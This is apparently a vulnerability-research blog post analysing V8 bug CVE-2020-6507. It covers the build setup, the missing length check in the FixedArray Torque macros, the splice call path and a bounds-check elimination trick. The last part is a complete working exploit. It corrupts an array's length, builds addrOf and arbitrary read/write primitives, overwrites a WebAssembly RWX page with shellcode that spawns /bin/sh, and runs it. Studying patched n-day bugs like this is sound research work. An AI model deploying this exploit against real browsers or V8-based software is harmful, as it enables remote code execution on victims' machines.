Logo
✧ Alter ✧
[VR] - V8 N-Day Analysis CVE-2020-6507

[VR] - V8 N-Day Analysis CVE-2020-6507

February 4, 2026
7 min read
index

Overview

CVE-2020-6507 is an out-of-bounds write vulnerability in the V8 JavaScript engine caused by missing length validation when creating FixedArray objects. The bug allows an attacker to allocate arrays with exceed lengths.

Environment Setup

To reproduce and analyze the vulnerability, set up the environment as follows:

#!/bin/bash
# Clone depot_tools
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
# Setup environment for V8 build
export PATH=`pwd`/depot_tools:"$PATH"
fetch v8 --nohooks
cd v8
./build/install-build-deps.sh
sudo apt-get install ninja-build
# Checkout vulnerable commit
git checkout 64cadfcf4a56c0b3b9d3b5cc00905483850d6559
gclient sync -D
# Build debug and release versions
tools/dev/gm.py x64.release
tools/dev/gm.py x64.debug

Note that if you’re using Ubuntu 22.04 or later, you may need to modify these things:

  • Modify gm.py shebang to #!/usr/bin/env python3
  • Change from collections import Mapping to from collections.abc import Mapping in third_party/jinja2/tests.py

And during the build, you might encounter an error related to libstdc++. To fix this, you can create a symlink:

#!/bin/bash
TOOLLIB=third_party/llvm-build/Release+Asserts/lib
mkdir -p /tmp/v8-libstdcxx-bak
cp -a $TOOLLIB/libstdc++.so.6* /tmp/v8-libstdcxx-bak/ 2>/dev/null || true
real=$(realpath /usr/lib/x86_64-linux-gnu/libstdc++.so.6)
cp -av "$real" "$TOOLLIB/"
ln -sf "$(basename "$real")" "$TOOLLIB/libstdc++.so.6" 2>/dev/null || \
cp -av "$real" "$TOOLLIB/libstdc++.so.6"

then rerun the build command again.

Basic Concepts

Before diving into the vulnerability analysis, it’s essential to understand some basic concepts related to V8’s memory management and array handling. I highly recommend reading the following articles:

Bug Location

The vulnerability is located at src/objects/fixed-array.tq, specifically in the NewFixedArray and NewFixedDoubleArray macros:

macro NewFixedArray<Iterator: type>(length: intptr, it: Iterator): FixedArray {
if (length == 0) return kEmptyFixedArray;
return new
FixedArray{map: kFixedArrayMap, length: Convert<Smi>(length), objects: ...it};
}
macro NewFixedDoubleArray<Iterator: type>(
length: intptr, it: Iterator): FixedDoubleArray|EmptyFixedArray {
if (length == 0) return kEmptyFixedArray;
return new FixedDoubleArray{
map: kFixedDoubleArrayMap,
length: Convert<Smi>(length),
floats: ...it
};
}

Since there is no validation of the length parameter before Convert<Smi>(length). Creating a FixedArray with that function can exceed the maximum length of FixedArray (FixedDoubleArray::kMaxLength = 0x3fffffe). Moreover, the FixedDoubleArray::kMaxLength (0x3FFFFFE) is less than Smi::kMaxValue (0x3FFFFFFF), allowing us to construct an array just below the Smi limit. Here is the way to calculate both kMaxLength values:

class Smi : public Object {
static constexpr int kMaxValue = kSmiMaxValue;
};
// src/objects/fixed-array.h
class FixedArrayBase : public HeapObject {
const length: Smi; // ← Length field is a Smi
static const int kMaxSize = 128 * kTaggedSize * MB - kTaggedSize;
};
class FixedDoubleArray : public FixedArrayBase {
floats[length]: float64_or_hole;
static const int kMaxLength = (kMaxSize - kHeaderSize) / kDoubleSize;
};
// Calculations:
// kMaxSize = 128 * 4 * 1024 * 1024 - 4 = 0x1FFFFFFC (536,870,908 bytes)
// kHeaderSize = 8 (map pointer + length Smi)
// kDoubleSize = 8
// kMaxLength = (0x1FFFFFFC - 8) / 8 = 0x3FFFFFE (67,108,862)
// Smi::kMaxValue = 2^30 - 1 = 0x3FFFFFFF (1,073,741,823)

Exploitation Path

The vulnerability is reachable via the following call chain when using Array.prototype.splice() on a near-maximum-size array:

ArrayPrototypeSplice
FastArraySplice
FastSplice<FixedDoubleArray, Number>
Extract
ExtractFixedArray
NewFixedArray (vulnerable)

Code Path Details

transitioning macro FastArraySplice(
[...]
if (IsFastSmiOrTaggedElementsKind(elementsKind)) {
FastSplice<FixedArray, JSAny>(
args, a, length, newLength, actualStart, insertCount,
actualDeleteCount);
} else {
FastSplice<FixedDoubleArray, Number>(
args, a, length, newLength, actualStart, insertCount,
actualDeleteCount);
}
return deletedResult;
}
macro FastSplice<FixedArrayType : type extends FixedArrayBase, ElementType: type>(
implicit context: Context)(
[...]
if (insertCount != actualDeleteCount) {
[...]
const newElements: FixedArrayType = UnsafeCast<FixedArrayType>(
Extract(elements, 0, actualStart, capacity));
[...]
}
[...]
}
macro Extract(implicit context: Context)(
source: FixedArray, startIndex: Smi, count: Smi,
resultCapacity: Smi): FixedArray {
return ExtractFixedArray(
source, Convert<intptr>(startIndex), Convert<intptr>(count),
Convert<intptr>(resultCapacity));
}
macro ExtractFixedArray(
source: FixedArray, first: intptr, count: intptr,
capacity: intptr): FixedArray {
// TODO(turbofan): This should be optimized to use memcpy for initialization.
return NewFixedArray(
capacity,
IteratorSequence<Object>(
(&source.objects).Iterator(first, first + count),
ConstantIterator(TheHole)));
}

Proof of Concept

Below is a PoC given by Reporter:

array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);
print(giant_array.length.toString(16));

Let’s break down the PoC:

  1. We create giant_array with length 0x3FFFFFC (just below FixedDoubleArray::kMaxLength).

    • One array of length 0x40000 (16,384) filled with 1.1
    • 0xFF arrays of length 0x40000 filled with 2.2
    • We use Array.prototype.concat.apply to flatten these into giant_array.
    • So that the total length is 255 * 0x40000 + (0x40000 - 4) = 0x3fffffc.
  2. Next, we call giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3); to splice at the end of the array, inserting three new elements (3.3, 3.3, 3.3). Under the hood, we still pass all the checks and reach NewFixedArray with capacity = 0x3ffffff (which is 0x3FFFFFC + 3).

Make OOB array

We can abuse TypedOptimization::ReduceMaybeGrowFastElements to create an out-of-bounds array in this case:

Reduction TypedOptimization::ReduceMaybeGrowFastElements(Node* node) {
Node* const elements = NodeProperties::GetValueInput(node, 1);
Node* const index = NodeProperties::GetValueInput(node, 2); // [1]
Node* const length = NodeProperties::GetValueInput(node, 3); // [2]
Node* const effect = NodeProperties::GetEffectInput(node);
Node* const control = NodeProperties::GetControlInput(node);
Type const index_type = NodeProperties::GetType(index);
Type const length_type = NodeProperties::GetType(length);
// Both `index` and `length` need to be unsigned Smis
CHECK(index_type.Is(Type::Unsigned31()));
CHECK(length_type.Is(Type::Unsigned31()));
if (!index_type.IsNone() && !length_type.IsNone() && // [3]
index_type.Max() < length_type.Min()) {
Node* check_bounds = graph()->NewNode( // [4]
simplified()->CheckBounds(FeedbackSource{},
CheckBoundsFlag::kAbortOnOutOfBounds),
index, length, effect, control);
ReplaceWithValue(node, elements); // [5]
return Replace(check_bounds);
}
return NoChange();
}

Although the function adds type and range checks at [1], [2], and [3], the mitigation is ineffective in practice. When the optimizer believes index_type.Max() < length_type.Min(), it inserts a new CheckBounds node at [4]. But immediately afterward, ReplaceWithValue(node, elements) at [5] rewires the graph so the original node’s effect chain is already updated, and the value produced by CheckBounds is not actually used by any consumer.

Because the inserted CheckBounds node ends up with no meaningful value/effect usage, later optimization passes consider it dead and eliminate it. The end result is that the intended bounds check disappears, leaving a path where the typer’s incorrect “no growth needed” assumption can still be abused to obtain out-of-bounds access.

Exploit

Combine all, we have the following PoC that can archive Remote Code Execution:

/*
Exploit for V8 CVE-2020-6507
Commit: 64cadfcf4a56c0b3b9d3b5cc00905483850d6559
References:
- https://bugs.chromium.org/p/chromium/issues/detail?id=1086890
- https://github.com/anvbis/chrome_v8_ndays/blob/master/cve-2020-6507.js
- https://www.y4y.space/2022/08/05/browser-exploitation-a-case-study-of-cve-2020-6507/
Patch:
- https://chromium.googlesource.com/v8/v8.git/+/3d9272cf7ab64b7fe76de02c859daae0588e8370
*/
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new BigUint64Array(buf);
var u32_buf = new Uint32Array(buf);
function f2i(val) {
f64_buf[0] = val;
return u64_buf[0];
}
function i2f(val) {
u64_buf[0] = BigInt(val);
return f64_buf[0];
}
function i2u_lo(i) {
u64_buf[0] = BigInt(i);
return u32_buf[0];
}
function i2u_hi(i) {
u64_buf[0] = BigInt(i);
return u32_buf[1];
}
function u2f(lo, hi) {
u32_buf[0] = lo;
u32_buf[1] = hi;
return f64_buf[0];
}
const logInfo = (m) => print(`[*] ${m}`);
const logOK = (m) => print(`[+] ${m}`);
const logErr = (m) => print(`[-] ${m}`);
function toHex(x, w = 16) {
x = BigInt.asUintN(64, BigInt(x));
return "0x" + x.toString(16);
}
function gc() {
for (var i = 0; i < 0x10000; ++i)
var a = new ArrayBuffer();
}
array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);
// Length @ 0x1337 || Elements @ 0x83c03e5 (point to corrupted_array's elements)
length_as_double = i2f((0x1337n << 33n) + 0x83c03e5n);
function trigger(array) {
var x = array.length; // 0x3ffffff
x -= 0x3fffffd; // 2
x = Math.max(x, 0); // 2
x *= 6; // 12
x -= 5; // 7
x = Math.max(x, 0); // 7
let corrupting_array = [1.1, 1.1];
let corrupted_array = [2.2];
corrupting_array[x] = length_as_double;
return [corrupting_array, corrupted_array];
}
%PrepareFunctionForOptimization(trigger);
trigger(giant_array);
%OptimizeFunctionOnNextCall(trigger);
let corrupted_array = trigger(giant_array)[1];
logInfo("Corrupted array length: " + toHex(corrupted_array.length));
let arr = [1.1];
let obj = { m: 13.37 };
gc(); gc();
let double_array_map = i2u_lo(f2i(corrupted_array[14]));
logInfo("double array map: " + toHex(double_array_map));
function AddrOf(target) {
obj[0] = target;
corrupted_array[16] = u2f(double_array_map, 0);
return i2u_lo(f2i(obj[0]));
}
function arbRead(addr) {
if (addr % 2 == 0)
addr += 1;
corrupted_array[16] = u2f(double_array_map, 0);
corrupted_array[17] = u2f(addr - 0x8, 100);
return f2i(obj[0]);
}
function arbWrite(addr, value) {
if (addr % 2 == 0)
addr += 1;
corrupted_array[16] = u2f(double_array_map, 0);
corrupted_array[17] = u2f(addr - 0x8, 100);
obj[0] = i2f(value);
}
let wasm_code = new Uint8Array([
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x05, 0x01, 0x60,
0x00, 0x01, 0x7f, 0x03, 0x02, 0x01, 0x00, 0x07, 0x08, 0x01, 0x04, 0x6d,
0x61, 0x69, 0x6e, 0x00, 0x00, 0x0a, 0x06, 0x01, 0x04, 0x00, 0x41, 0x2a,
0x0b
]);
let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
let f = wasm_instance.exports.main;
let wasm_inst_addr = AddrOf(wasm_instance);
logOK("WASM Instance addr: " + toHex(wasm_inst_addr));
let rwx = arbRead(wasm_inst_addr + 0x68);
logOK("WASM RWX addr: " + toHex(rwx));
let shellcode = [
0x90909090, 0x90909090, 0xb848686a, 0x6e69622f, 0x732f2f2f, 0xe7894850,
0x01697268, 0x24348101, 0x01010101, 0x6a56f631, 0x01485e08, 0x894856e6,
0x6ad231e6, 0x050f583b
];
let buffer = new ArrayBuffer(shellcode.length * 4);
let view = new DataView(buffer);
let buffer_backing_store = AddrOf(buffer) + 0x14;
logOK("ArrayBuffer backing store pointer: " + toHex(buffer_backing_store));
logInfo("Writing shellcode to RWX memory...");
arbWrite(buffer_backing_store, rwx);
for (let i = 0; i < shellcode.length; i++) {
view.setUint32(i * 4, shellcode[i], true);
}
logInfo("Executing shellcode...");
f();